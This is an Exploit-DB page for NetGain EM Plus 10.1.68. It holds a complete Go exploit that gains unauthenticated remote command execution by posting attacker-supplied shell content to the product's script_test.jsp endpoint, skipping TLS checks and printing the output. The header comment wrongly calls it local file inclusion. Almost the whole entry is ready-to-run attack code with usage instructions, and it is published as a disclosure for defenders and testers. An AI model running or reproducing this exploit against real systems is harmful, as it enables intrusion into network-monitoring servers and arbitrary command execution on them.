NetGain EM Plus 10.1.68 - Remote Command Execution

EDB-ID:
47391

CVE:
N/A

EDB Verified: ×

Author:
AZAMS

Type:
WEBAPPS

Exploit: / {}

Platform:
JSP

Date:
2019-09-16

Vulnerable App:

```
/*******************************************************************************
# Exploit Title: NetGain EM Plus <= v10.1.68 - Unauthorized Local File
Inclusion
# Date: 15 September 2019
# Exploit Author: azams / @TheRealAzams
# Vendor Homepage: http://netgain-systems.com
# Software Link: http://www.netgain-systems.com/free/
# Version: v10.1.68
# Tested on: Linux
#
# Install golang: https://golang.org/doc/install
# Compile exploit: go build exploit.go
# Run exploit without compiling: go run exploit.go
# Shouts: Rix, Channisa, Ridho7ul & Horangi!
*******************************************************************************/
package main

import (
    "crypto/tls"
    "fmt"
    "io/ioutil"
    "net/http"
    "net/url"
    "os"
    "strings"
)

var (
    target string
    port   string
    cmd    string
)

func main() {
    for i := range os.Args {
        if os.Args[i] == "-u" {
            target = os.Args[i+1]
        } else if os.Args[i] == "-p" {
            port = os.Args[i+1]
        } else if os.Args[i] == "-cmd" {
            cmd = os.Args[i+1]
        }
    }
    if target != "" || port != "" || cmd != "" {
        cmd = "type=sh&content=%232Fbin%2Fsh%0Aecho+'0xdeadnoob'%0a" + cmd
+ "%0aecho+'0xdeadnoob'&args=&count=0&ip=localhost"
        status, body := exploit()
        if strings.Contains(status, "200") {
            fmt.Println("Status Code: " + status)
            result := strings.Split(body, "0xdeadnoob")
            fmt.Println("Result: \n" + strings.Trim(result[1], "\n"))
            return
        }
        fmt.Println("Exploit failed!")
    } else {
        fmt.Println("Usage: ./exploit -u http://127.0.0.1 -p 8181 -cmd
'id;'")
    }
}

func exploit() (string, string) {
    tbTransport := &http.Transport{TLSClientConfig:
&tls.Config{InsecureSkipVerify: true}}
    client := &http.Client{Transport: tbTransport}
    datas, err := url.ParseQuery(cmd)
    req, err := http.NewRequest("POST",
target+":"+port+"/u/jsp/designer/script_test.jsp",
```

```
strings.NewReader(datas.Encode()))
    req.Header.Set("Content-type", "application/x-www-form-urlencoded")
    resp, err := client.Do(req)
    if err != nil {
        panic(err)
    }
    defer resp.Body.Close()
    body, _ := ioutil.ReadAll(resp.Body)
    return resp.Status, string(body)
}
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions